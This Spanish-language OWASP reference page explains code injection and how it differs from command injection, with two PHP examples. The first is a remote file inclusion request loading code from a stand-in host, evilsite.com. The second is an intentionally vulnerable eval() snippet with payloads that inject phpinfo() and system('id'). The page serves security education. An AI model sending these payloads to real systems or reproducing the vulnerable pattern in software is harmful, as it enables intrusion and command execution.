Inyección de Código

From OWASP
Jump to: navigation, search
This is an Attack. To view all attacks, please see the Attack Category page.


Last revision (mm/dd/yy): 07/30/2015

Descripción

Code Injection es el término general para el tipo de ataques que tratan de inyectar código que es interpretado/ejecutado por la aplicación. Este tipo de ataques explota el manejo pobre de información no confiable. Este tipo de ataques son habitualmente posibles por no validar apropiadamente las entradas y salidas de datos, por ejemplo:

  • Caracteres permitidos (expresiones regulares, clases o personalizadas)
  • Formato de los datos
  • Cantidad de datos esperada.

Code Injection difiere de Command Injection en que un atacante esta limitado por las funcionalidades del lenguaje inyectado. Si un atacante es capaz de inyectar código PHP en la aplicación y hacer que este sea ejecutado, él solo estará limitado por lo que PHP es capaz de hacer. Command Injection ( Inyección de comandos) consiste en el aprovechamiento de código existente para ejecutar comandos, normalmente sin el contexto de la SHELL.

Factores de Riesgo

  • Este tipo de vulnerabilidades pueden ser desde muy fácil, a muy complicadas de encontrar.
  • Si la encuentras, normalmente no son muy difíciles de explotar, depende del escenario.
  • Si son explotadas correctamente, el impacto podría cubrir la perdida de confidencialidad, perdida de integridad, perdida de disponibilidad y/o perdida de responsabilidad.


Ejemplos

Ejemplo 1

Si una aplicación pasa un parámetro enviado vía petición “GET” a una función “include() en php sin verificar la entrada, el atacante podría intentar ejecutar un código diferente al que el desarrollador tenía en mente.

La dirección de abajo pasa un nombre de página a la función include().

http://testsite.com/index.php?page=contact.php

El archivo”evilcode.php” puede contener, por ejemplo, una función phpinfo() la cual es muy útil para ganar información sobre la configuración del entorno en el cual el servicio corre. Un atacante puede solicitarle a la aplicación que ejecute este código PHP usando la siguiente petición:

http://testsite.com/?page=http://evilsite.com/evilcode.php


Ejemplo 2

Cuando un desarrollador usa la función PHP eval() y le pasa datos no verificados que el atacante puede modificar, la inyección de código puede ser posible.

El ejemplo de abajo muestra una forma peligrosa de usar la función eval():

$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");

Como no se verifica la entrada el código anterior es vulnerable a un ataque Code Injection.

Por ejemplo:

/index.php?arg=1; phpinfo()

Mientras explota agujeros como estos, un atacante podría querer tambien ejecutar comandos de sistema. En este caso, el agujero que proporciona la inyección de código tambien puede ser usado para inyectar comandos, por ejemplo:

/index.php?arg=1; system('id')

Relacionados Threat Agents

Relacionados Attacks

Relacionados Vulnerabilities

Relacionados Controls

Referencias